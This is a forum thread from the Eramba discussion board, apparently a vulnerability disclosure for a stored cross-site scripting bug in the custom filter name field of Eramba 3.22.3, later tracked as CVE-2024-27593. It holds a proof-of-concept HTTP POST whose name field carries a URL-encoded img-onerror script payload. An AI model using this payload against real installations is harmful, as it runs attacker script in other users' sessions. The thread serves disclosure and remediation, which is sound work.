# Bug: Stored XSS in custom filter edit function (name field)
**URL:** https://discussions.eramba.org/t/bug-stored-xss-in-custom-filter-edit-function-name-field/4066
**Category:** Forum - Software
**Tags:** bug
**Created:** [January 8, 2024, 7:53pm UTC](https://discussions.eramba.org/t/bug-stored-xss-in-custom-filter-edit-function-name-field/4066 "2024-01-08T19:53:51Z")
**Posts on this page:** 6
**Page:** 1
### Author:  [@smarttecs](https://discussions.eramba.org/u/smarttecs)
#### Post date: [January 8, 2024, 7:53pm UTC](https://discussions.eramba.org/t/bug-stored-xss-in-custom-filter-edit-function-name-field/4066/1 "2024-01-08T19:53:51Z")
Overview
########
Affected product: Eramba
Affected version: App Version: 3.22.3 | DB Schema Version: 0230918084154 | Community
Detailed description
####################
Eramba web application is vulnerable to a stored cross-site scripting vulnerability for authenticated users in the custom filter function.
(Screenshot see next post)
An authenticated user can create their own filter to pre-filter items in the dataset. Filters can be private or public. In public mode, filters are visible to all users on the system. An attacker could insert malicious JavaScript code in the name field of a filter, such as `1337"'>
`, and save the new filter.
Next, when a user edits the filter by clicking the “Manage Filter” button, the JavaScript code is executed.
(Screenshot see next post)
CVSS Score
################
[https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N)
Proof of Concept
################
```auto
POST /business-continuity-plans?advanced_filter=1&advanced_filter_id=306&modalId=1&_=1704717958392 HTTP/1.1
Host: 192.168.122.158:8443
[TRUNCATED]
Connection: close
_csrfToken=E5Ngofv4OcXPEXeZ5gJ%2FPrJ8%2FMcYTegN4OD%2BZ77Tr2Abrh8X708JFxJWixs9LsQuG4e3wnZTzPmPUjZDvxaqz9bU2%2FJVbfmU10rNon4o2DmCgstU2%2BabVX2dLC7cLDoudzW%2BKF8Yoh5%2F4tL7RWX%2Bnw%3D%3D&advanced_filter=1&advanced_filter_id=306&BusinessContinuityPlans%5Bid __show%5D=0&BusinessContinuityPlans%5Btitle__ comp_type%5D=3&BusinessContinuityPlans%5Btitle%5D=test&BusinessContinuityPlans%5Btitle __show%5D=0&BusinessContinuityPlans%5Btitle__ show%5D=1&BusinessContinuityPlans%5Bobjective __comp_type%5D=3&BusinessContinuityPlans%5Bobjective%5D=&BusinessContinuityPlans%5Bobjective__ show%5D=0&BusinessContinuityPlans%5Bobjective __show%5D=1&BusinessContinuityPlans%5Blaunch_criteria__ comp_type%5D=3&BusinessContinuityPlans%5Blaunch_criteria%5D=&BusinessContinuityPlans%5Blaunch_criteria __show%5D=0&BusinessContinuityPlans%5Blaunch_criteria__ show%5D=1&BusinessContinuityPlans%5BOwner __comp_type%5D=5&BusinessContinuityPlans%5BOwner__ count%5D=0&BusinessContinuityPlans%5BOwner __show%5D=0&BusinessContinuityPlans%5BOwner__ show%5D=1&BusinessContinuityPlans%5BSponsor __comp_type%5D=5&BusinessContinuityPlans%5BSponsor__ count%5D=0&BusinessContinuityPlans%5BSponsor __show%5D=0&BusinessContinuityPlans%5BSponsor__ show%5D=1&BusinessContinuityPlans%5BLaunchInitiator __comp_type%5D=5&BusinessContinuityPlans%5BLaunchInitiator__ count%5D=0&BusinessContinuityPlans%5BLaunchInitiator __show%5D=0&BusinessContinuityPlans%5BLaunchInitiator__ show%5D=1&BusinessContinuityPlans%5Bopex __comp_type%5D=0&BusinessContinuityPlans%5Bopex%5D=&BusinessContinuityPlans%5Bopex__ show%5D=0&BusinessContinuityPlans%5Bopex __show%5D=1&BusinessContinuityPlans%5Bcapex__ comp_type%5D=0&BusinessContinuityPlans%5Bcapex%5D=&BusinessContinuityPlans%5Bcapex __show%5D=0&BusinessContinuityPlans%5Bcapex__ show%5D=1&BusinessContinuityPlans%5Bresource_utilization __comp_type%5D=0&BusinessContinuityPlans%5Bresource_utilization%5D=&BusinessContinuityPlans%5Bresource_utilization__ show%5D=0&BusinessContinuityPlans%5Bresource_utilization __show%5D=1&BusinessContinuityPlans%5Bsecurity_service_type_id__ comp_type%5D=5&BusinessContinuityPlans%5Bsecurity_service_type_id __show%5D=0&BusinessContinuityPlans%5Bsecurity_service_type_id__ show%5D=1&BusinessContinuityPlans%5Baudit_success_criteria __comp_type%5D=3&BusinessContinuityPlans%5Baudit_success_criteria%5D=&BusinessContinuityPlans%5Baudit_success_criteria__ show%5D=0&BusinessContinuityPlans%5Baudit_success_criteria __show%5D=1&BusinessContinuityPlans%5Baudit_metric__ comp_type%5D=3&BusinessContinuityPlans%5Baudit_metric%5D=&BusinessContinuityPlans%5Baudit_metric __show%5D=0&BusinessContinuityPlans%5Baudit_metric__ show%5D=1&BusinessContinuityPlans%5BDynamicStatus_current_audit_failed __comp_type%5D=0&BusinessContinuityPlans%5BDynamicStatus_current_audit_failed%5D=&BusinessContinuityPlans%5BDynamicStatus_current_audit_failed__ show%5D=0&BusinessContinuityPlans%5Bcreated __comp_type%5D=0&BusinessContinuityPlans%5Bcreated%5D=&BusinessContinuityPlans%5Bcreated__ use_calendar%5D=0&BusinessContinuityPlans%5Bcreated __use_calendar%5D=1&BusinessContinuityPlans%5Bcreated__ show%5D=0&BusinessContinuityPlans%5Bmodified __comp_type%5D=0&BusinessContinuityPlans%5Bmodified%5D=&BusinessContinuityPlans%5Bmodified__ use_calendar%5D=0&BusinessContinuityPlans%5Bmodified __use_calendar%5D=1&BusinessContinuityPlans%5Bmodified__ show%5D=0&BusinessContinuityPlans%5Bcomment_message __comp_type%5D=3&BusinessContinuityPlans%5Bcomment_message%5D=&BusinessContinuityPlans%5Bcomment_message__ count%5D=0&BusinessContinuityPlans%5Bcomment_message __show%5D=0&BusinessContinuityPlans%5Blast_comment__ comp_type%5D=0&BusinessContinuityPlans%5Blast_comment%5D=&BusinessContinuityPlans%5Blast_comment __use_calendar%5D=0&BusinessContinuityPlans%5Blast_comment__ use_calendar%5D=1&BusinessContinuityPlans%5Blast_comment __show%5D=0&BusinessContinuityPlans%5Battachment_filename__ comp_type%5D=3&BusinessContinuityPlans%5Battachment_filename%5D=&BusinessContinuityPlans%5Battachment_filename __count%5D=0&BusinessContinuityPlans%5Battachment_filename__ show%5D=0&BusinessContinuityPlans%5Blast_attachment __comp_type%5D=0&BusinessContinuityPlans%5Blast_attachment%5D=&BusinessContinuityPlans%5Blast_attachment__ use_calendar%5D=0&BusinessContinuityPlans%5Blast_attachment __use_calendar%5D=1&BusinessContinuityPlans%5Blast_attachment__ show%5D=0&advanced_filter_values%5B_limit%5D=-1&advanced_filter_values%5B_order_column%5D=id&advanced_filter_values%5B_order_direction%5D=ASC&name=1337%22%27%3E%3Cimg+src%3Dx+onerror%3Dconfirm%28document.location%29%3E&description=1337%22%27%3E%3Cimg+src%3Dx%3E&private=0&private=1&log_result_count=0&log_result_data=0&advanced_filter_user_setting%5Bvertical_scroll%5D=0&advanced_filter_user_setting%5Bdefault_index%5D=0&_Token%5Bfields%5D=61c57a4c7b9c31cb45c1a41f247a8e6ff3022287%253A&_Token%5Bunlocked%5D=%257CmodalBreadcrumbs%257CmodalId
```
---
### Author:  [@smarttecs](https://discussions.eramba.org/u/smarttecs)
#### Post date: [January 8, 2024, 7:54pm UTC](https://discussions.eramba.org/t/bug-stored-xss-in-custom-filter-edit-function-name-field/4066/2 "2024-01-08T19:54:28Z")
An attacker could insert malicious JavaScript code in the name field of a filter, such as `1337"'>`, and save the new filter.
---
### Author:  [@smarttecs](https://discussions.eramba.org/u/smarttecs)
#### Post date: [January 8, 2024, 7:55pm UTC](https://discussions.eramba.org/t/bug-stored-xss-in-custom-filter-edit-function-name-field/4066/3 "2024-01-08T19:55:31Z")
---
### Author:  [@kisero](https://discussions.eramba.org/u/kisero)
#### Post date: [January 9, 2024, 7:55am UTC](https://discussions.eramba.org/t/bug-stored-xss-in-custom-filter-edit-function-name-field/4066/4 "2024-01-09T07:55:08Z")
---
### Author:  [@smarttecs](https://discussions.eramba.org/u/smarttecs)
#### Post date: [March 26, 2024, 3:48pm UTC](https://discussions.eramba.org/t/bug-stored-xss-in-custom-filter-edit-function-name-field/4066/5 "2024-03-26T15:48:34Z")
@kisero we receive [CVE-2024-27593](https://www.cve.org/CVERecord?id=CVE-2024-27593) to track the issue.
---
### Author:  [@kisero](https://discussions.eramba.org/u/kisero)
#### Post date: [March 28, 2024, 11:45am UTC](https://discussions.eramba.org/t/bug-stored-xss-in-custom-filter-edit-function-name-field/4066/6 "2024-03-28T11:45:46Z")